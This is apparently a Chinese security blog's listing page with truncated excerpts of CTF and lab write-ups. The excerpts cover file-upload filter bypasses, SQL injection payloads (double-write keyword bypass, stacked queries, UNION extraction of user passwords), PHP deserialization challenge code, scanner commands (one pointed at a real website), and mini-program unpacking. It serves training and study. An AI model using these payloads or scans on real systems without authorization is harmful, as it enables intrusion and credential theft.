Upload靶场
upload靶场禁用前端js更改content-type类型($_FILES['upload_file']['type'] == 'image/jpeg') ||($_FILES['upload_file']['type'] == 'image/png'
上传.php文件抓包修改content-type类型为:image/jpeg、image/png、image/gif
上传未禁止类型$deny_ext = array('.asp','.aspx','.php','.jsp');
jsp jspx jspf asp asa cer aspx php php3 php4 php5 phtml
.htaccess文件绕过上传一个.htaccess文件名的文件内容为
SetHandler appl ...
NSSCTF
[NISACTF 2022]babyupload
from flask import Flask, request, redirect, g, send_from_directoryimport sqlite3import osimport uuidapp = Flask(__name__)# 创建一个表名为files 值为id 和 path 内容为text 并且 含有primary keySCHEMA = """CREATE TABLE files (id text primary key,path text);"""def db(): #返回g对象的_database属性值 g_db = getattr(g, '_database', None) if g_db is None:#如果存在 g_db = g._database = sqlite3.connect("database.db")#就连接databae.db return g_db@app ...
BUUCTF(四)
[MRCTF2020]Ezaudit<?phpheader('Content-type:text/html; charset=utf-8');error_reporting(0);if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若为空,视为未填写,提示错误,并2秒后返回登录界面 header('refresh:2; url=login.html'); echo &quo ...
BUUCTF(二)
双写绕过BUUCTF[极客大挑战 2019]BabySQL
好像和前面的题目相似
check.php?username=admin&password=1'
单引号闭合
check.php?username=admin&password=1' or '1'='1
查一下字段数
check.php?username=admin&password=1' union select 1,2,3,4 or '1'='1
仔细看发现union select or都被过滤为空了,直接双写绕过
check.php?username=admin&password=1' uniounionn sselectelect 1,2,3,4 oorr '1'='1
check.php?username=admin&password=1' uniounionn sselectelect 1,2,3 oorr ' ...
BUUCTF(三)
rc4模板注入
不知道啥意思,抓包看看
没东西,是不是要输入secret
尝试模板注入发现报错
因为我们是传的secret参数,所以我们之间搜索secret参数
import base64from urllib.parse import quotedef rc4_main(key = "init_key", message = "init_message"): # print("RC4加密主函数") s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return cryptdef rc4_init_sbox(key): s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可 # print("原来的 s 盒:%s" % s_box) j = 0 for i in range(256): j ...
BUUCTF(一)
堆叠注入,绕过||限制BUUCTF的suctf2019,EasySQL
闭合测试
query=1
这里输入’没有回显也没有报错
这里发现有过滤,本来想fuzz的发现平台靶机不让扫手工测试吧
发现过滤了union,那么联合注入肯定就不行了.
尝试一下堆叠注入,发现回显了数据库
接着查一下表
但是查字段的时候发现了问题,这里发现from 和 flag 都被过滤了,这怎么注入
这块需要我们对后端的语句进行猜测,通过输入非零数字得到回显和输入其他字符得不到回显来判断出内部的查询语句可能存在有|| ,也就是select 输入的数据|| 内置一个列名 from 表名,进一步猜测即为select post 进去的数据 || flag from flag (含有数据的表名,通过堆叠注入可知),需要注意的是,此时的|| 起到的作用是or 的作用
方法一
输入的内容为 *,1 内置的sql语句为sql = "select".sql = "select".post['query']."||flag from flag&qu ...
Burp靶场
burpsuite靶场https://portswigger.net/web-security/all-labs
sql注入SQL1
点点看发现一个参数
但是这里不是注入点
SQL2
SQL3
SQL4
SQL5
SQL6'+UNION+SELECT+NULL,username||'~'||password+FROM+users--这里的”||“是Oracle中的字符串连接符,这样就既能将多列结果合并到单列输出,又能把多列结果区分开了
SQL7
SQL8
SQL9
SQL10其实Oracle中也有类似信息模式的东西,比如查所有的表SELECT * FROM all_tables 啊这,感觉比信息模式简单粗暴啊,直接叫all_tables?好东西好东西,然后我们来看一下查所有的列用什么语句呢SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
不安全的反序列化使用记录在案的小工具链利用 Ruby 反序列化使用wiener:peter登录
...
Bugctf
bugctf 的noteasytrick<?phperror_reporting(0);ini_set("display_errors","Off");class Jesen { public $filename; public $content; public $me; function __wakeup(){ $this->me = new Ctf(); } function __destruct() { $this->me->open($this->filename,$this->content); }}class Ctf { function __toString() { return "die"; } function open($filename, $content){ ...
联动
burp + xray.\xray.exe webscan --listen 127.0.0.1:7777 --html-output ./results/proxy.html
awvs + xray.\xray webscan --listen 0.0.0.0:1111 --html-output awvs.html
Rad联动Xray等其他工具.\xray.exe webscan --listen 127.0.0.1:6666 --html-output ./results/rad.html
.\rad.exe -t https://www.yoojia.com/ -http-proxy 127.0.0.1:6666
https://www.anquanke.com/post/id/277002#h2-5
小程序
直接抓包打开小程序
查看路径
找到这个路径
然后把底下的文件全部删除
接着重启小程序,并配置全局代理
即可抓包小程序
失败抓包先打开你的小程序
找到微信文件存储位置
根据时间判断那个是刚打开的小程序
找到第一个文件
微信电脑端小程序包存在加密,需要使用工具进行解密
下载地址:gzh@雷石安全实验室 微信后台 回复口令【解包小工具】领取
这个是解密后的文件
接着再下载个反编译工具
https://gitee.com/ksd/wxappUnpacker
node.js环境安装
npm install uglify-es --savenpm install esprima --savenpm install css-tree --savenpm install cssbeautify --savenpm install vm2 --savenpm install js-beautify --savenpm install escodegen --savenpm install cheerio --save
node .\wuWxapkg.js D:\Data\sec ...